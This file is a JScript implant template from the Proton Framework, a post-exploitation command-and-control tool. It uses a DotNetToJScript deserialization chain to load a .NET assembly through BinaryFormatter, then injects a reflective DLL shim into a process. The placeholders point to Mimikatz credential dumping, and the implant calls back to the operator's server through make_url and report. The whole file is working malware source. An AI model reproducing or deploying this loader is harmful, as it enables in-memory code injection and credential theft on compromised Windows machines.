//            ---------------------------------------------------
//                             Proton Framework              
//            ---------------------------------------------------
//                Copyright (C) <2019-2020>  <Entynetproject>
//
//        This program is free software: you can redistribute it and/or modify
//        it under the terms of the GNU General Public License as published by
//        the Free Software Foundation, either version 3 of the License, or
//        any later version.
//
//        This program is distributed in the hope that it will be useful,
//        but WITHOUT ANY WARRANTY; without even the implied warranty of
//        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
//        GNU General Public License for more details.
//
//        You should have received a copy of the GNU General Public License
//        along with this program.  If not, see <http://www.gnu.org/licenses/>.

function #setversion#() {
    var #shell# = new ActiveXObject('WScript.Shell');
    #ver# = 'v4.0.30319';
    try {
        #shell#.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
    } catch(e) {
        #ver# = 'v2.0.50727';
    }
    #shell#.Environment('Process')('COMPLUS_Version') = #ver#;
}

function #debug#(s) {}

function #base64ToStream#(b) {
	var #enc# = new ActiveXObject("System.Text.ASCIIEncoding");
	var #length# = #enc#.GetByteCount_2(b);
	var #ba# = #enc#.GetBytes_4(b);
	var #transform# = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
	#ba# = #transform#.TransformFinalBlock(#ba#, 0, #length#);
	var #ms# = new ActiveXObject("System.IO.MemoryStream");
	#ms#.Write(#ba#, 0, (#length# / 4) * 3);
	#ms#.Position = 0;
	return #ms#;
}

var #serialized_obj# = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+
"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+
"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAAgDYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAQ0AAAAEAAAACRcAAAAJBgAAAAkWAAAABhoAAAAnU3lzdGVtLlJl"+
"ZmxlY3Rpb24uQXNzZW1ibHkgTG9hZChCeXRlW10pCAAAAAoL";
var #entry_class# = 'TestClass';

try {
	#setversion#();
	var #stm# = #base64ToStream#(#serialized_obj#);
	var #fmt# = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
	var #al# = new ActiveXObject('System.Collections.ArrayList');
	var #d# = #fmt#.Deserialize_2(#stm#);
	#al#.Add(undefined);
	var #o# = #d#.DynamicInvoke(#al#.ToArray()).CreateInstance(#entry_class#);

    var #shim_lpParam# = "~MIMICMD~~~~UUIDHEADER~~~~SHIMX64UUID~~~~MIMIX86UUID~~~~MIMIX64UUID~~~" + proton.work.make_url();
    var #base64DLL# = "";
    if (~ONESHOTAUTO~)
    {
        if(proton.user.Arch() == "AMD64")
        {
            #base64DLL# = ~SHIMX64B64~;
            #shimoffset# = ~SHIMX64OFFSET~;
        }
        else
        {
            #base64DLL# = ~SHIMX86B64~;
            #shimoffset# = ~SHIMX86OFFSET~;
        }
    }
    else
    {
        #base64DLL# = ~SHIMB64~;
        #shimoffset# = ~SHIMOFFSET~;
    }
    #o#.InjectDLL(#base64DLL#, #shim_lpParam#, #shimoffset#);
    proton.work.report("Done");
} catch (e) {
    proton.work.error(e);
}

proton.exit();
